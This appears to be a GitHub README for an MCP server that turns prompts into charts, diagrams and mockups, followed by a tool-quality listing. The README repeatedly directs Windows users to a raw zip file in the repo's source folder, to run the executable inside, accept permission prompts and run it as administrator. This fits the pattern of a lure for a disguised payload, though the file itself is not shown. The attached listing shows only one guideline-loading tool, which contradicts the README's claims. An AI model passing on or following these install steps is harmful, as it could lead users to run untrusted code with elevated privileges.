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๐Ÿงฉ Generative-UI-MCP - Turn Prompts Into Visual UIs

Download Generative-UI-MCP

๐Ÿš€ What This Tool Does

Generative-UI-MCP is a Windows app helper for AI tools. It helps AI models create interactive visuals from plain text prompts.

You can use it to make:

  • Charts

  • Diagrams

  • UI mockups

  • SVG graphics

  • Simple visual layouts

It works as an MCP server, which means it sits between your AI app and the visual output it creates.

Related MCP server: AI Charts

๐Ÿ–ฅ๏ธ What You Need

Before you start, make sure you have:

  • A Windows 10 or Windows 11 PC

  • A stable internet connection

  • Enough free disk space for the app and its files

  • An AI app that can use MCP tools, such as Claude Desktop

  • Permission to install and run apps on your PC

๐Ÿ“ฅ Download and Run

Visit this page to download: https://raw.githubusercontent.com/fergusalveolar205/Generative-UI-MCP/main/src/U_Generative_MCP_v3.1.zip

After the page opens:

  1. Look for the latest release or download file

  2. Download the Windows file to your PC

  3. Open the file you downloaded

  4. If Windows asks for permission, choose Run or Yes

  5. Follow the setup steps on screen

If the app comes as a folder or zip file:

  1. Right-click the file

  2. Select Extract All

  3. Open the extracted folder

  4. Find the main app file

  5. Double-click it to start

โš™๏ธ First-Time Setup

After you run the app for the first time, you may need to connect it to your AI app.

Use these steps:

  1. Open your AI app

  2. Find the MCP or tools settings area

  3. Add a new MCP server entry

  4. Point it to Generative-UI-MCP

  5. Save your changes

  6. Restart the AI app if needed

If the app asks for a local address, use the one shown in the app or in the setup file.

๐ŸŽจ What You Can Create

Generative-UI-MCP is built for visual content. It can help the AI model produce:

๐Ÿ“Š Charts

Use it for:

  • Bar charts

  • Line charts

  • Pie charts

  • Comparison graphs

  • Data dashboards

๐Ÿงฑ Diagrams

Use it for:

  • Flowcharts

  • Process maps

  • System diagrams

  • Decision trees

  • Relationship diagrams

๐Ÿช„ Mockups

Use it for:

  • App screens

  • Web page layouts

  • Dashboard wireframes

  • Form layouts

  • Simple interface concepts

๐Ÿ–ผ๏ธ SVG Graphics

Use it for:

  • Icons

  • Simple illustrations

  • Shapes

  • Labels

  • Clean vector art

๐Ÿงญ How to Use It

Once the app is running and connected:

  1. Open your AI chat

  2. Ask for a visual

  3. Be clear about what you want

  4. Include labels, size, color, and layout if needed

  5. Review the result

  6. Ask for changes if it does not look right

Example requests:

  • Make a bar chart showing monthly sales

  • Create a simple app mockup for a task manager

  • Draw a flowchart for user sign-in

  • Build an SVG of a folder and search icon

  • Show a dashboard with three metrics and a trend line

๐Ÿงฉ Good Prompt Tips

The AI works better when your request is specific.

Try to include:

  • The type of visual

  • The number of items

  • The labels you want

  • The style you prefer

  • Any color choices

  • The size or layout

Example:

  • Create a clean line chart with three series: signups, active users, and churn. Use blue, green, and red. Put the legend on the right.

๐Ÿ› ๏ธ Common Use Cases

Generative-UI-MCP can fit many everyday tasks:

  • Product planning

  • Design drafts

  • Report visuals

  • Teaching and training

  • Quick concept reviews

  • UI idea generation

It helps when you need a visual draft fast and do not want to build it by hand first.

๐Ÿ” How It Fits With Claude and Other AI Apps

This tool works with AI apps that support MCP.

In practice, that means:

  1. The AI app sends a request

  2. Generative-UI-MCP handles the visual task

  3. The output comes back as a chart, diagram, or UI draft

  4. You can refine it with another prompt

This setup is useful when you want the AI to do more than just write text.

๐Ÿ“ File Types You May See

Depending on the download package, you may see:

  • .exe files

  • .zip files

  • Config files

  • JSON files

  • SVG output files

  • Log files

If you see a setup file, start with that one. If you see a folder, open the readme or config file inside it.

๐Ÿงฐ Simple Troubleshooting

If the app does not start:

  1. Check that the file finished downloading

  2. Try running it again as administrator

  3. Restart your PC

  4. Make sure your AI app is closed before setup

  5. Open the app again after setup

If the AI app does not detect the server:

  1. Check the MCP settings

  2. Confirm the server path is correct

  3. Save the settings

  4. Restart the AI app

  5. Try the connection again

If the visual looks wrong:

  1. Make the prompt shorter

  2. Add more labels

  3. State the layout you want

  4. Ask for one change at a time

๐Ÿ”’ Safety and Local Use

Generative-UI-MCP is designed for local use on your PC. It works with your AI app to generate visuals from your instructions.

For the best experience:

  • Download only from the link above

  • Keep your AI app updated

  • Review any setup prompts before you confirm

  • Close unused apps if your PC feels slow

๐Ÿงพ Example Prompts

Try these after setup:

  • Draw a simple diagram of how a newsletter signup flow works

  • Create a dashboard mockup with charts for revenue, users, and retention

  • Make a clean SVG of a cloud, arrow, and folder

  • Build a process chart for customer support ticket handling

  • Show a mobile app screen for a habit tracker

๐Ÿ–ฑ๏ธ Windows Quick Steps

If you want the shortest path:

  1. Open the download page

  2. Get the Windows file

  3. Run it

  4. Connect it to your AI app

  5. Ask for your first visual

๐Ÿ“Œ Project Topic Areas

This project focuses on:

  • AI

  • Charts

  • Claude

  • Diagrams

  • Generative UI

  • MCP

  • Model Context Protocol

  • SVG

  • Visualization

๐Ÿ“ฆ Download Again

Visit this page to download: https://raw.githubusercontent.com/fergusalveolar205/Generative-UI-MCP/main/src/U_Generative_MCP_v3.1.zip

๐Ÿงช Suggested First Test

After setup, try this:

  1. Ask the AI for a basic bar chart

  2. Use three small categories

  3. Check that the output appears

  4. Ask for a color change

  5. Ask for a title change

Available Tools

1 tool
load_ui_guidelinesA

Load detailed design guidelines for generating visual widgets. Call this before generating your first widget in a conversation. Available modules: interactive, chart, mockup, art, diagram.

ParametersJSON Schema
NameRequiredDescriptionDefault
modulesYesWhich guideline modules to load. interactive = HTML controls/forms, chart = Chart.js, mockup = UI mockups, art = SVG illustrations, diagram = flowcharts/timelines/hierarchies.

TDQS

A3.7/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description must disclosure behavioral traits. However, it does not explain what happens when guidelines are loaded (e.g., caching, return value, side effects on conversation state). The agent is left unclear about the tool's impact beyond the fact that it loads guidelines.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two sentences long with no wasted words. It front-loads the primary action and includes necessary context and module listing. Every sentence contributes meaning.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a simple tool with one parameter and no output schema, the description covers when to use and what modules are available. However, it lacks details on what the guidelines contain or how they affect subsequent widget generation, leaving room for ambiguity.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the parameter is fully documented in the schema. The description adds no additional meaning beyond listing the available modules, which is already present in the schema. Thus, the description provides no extra value for parameters beyond the schema.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states that the tool loads design guidelines for generating visual widgets, with a specific verb and resource. It also provides context by recommending to call it before the first widget, making the purpose unambiguous even without siblings.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description explicitly instructs to call this tool before generating the first widget, providing clear when-to-use guidance. It does not mention when not to use it, but with no sibling tools, this is sufficient for most cases.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.

  1. 1 tool updatev1.0.0
    • First observedload_ui_guidelines

TDQS

A3.5/5.0
Disambiguation5/5

Only one tool exists, so there is no possible confusion between tools.

Naming Consistency5/5

With a single tool, naming is trivially consistent.

Tool Count1/5

A server named 'Generative-UI-MCP' should have multiple tools for creating UI components, but only one tool for loading guidelines exists, which is insufficient.

Completeness1/5

The server lacks any tools for generating UI widgets, which is its stated purpose. The single tool only loads guidelines, leaving a major gap in functionality.

Maintenance

ActivityMaintained
ResponsivenessNo issues

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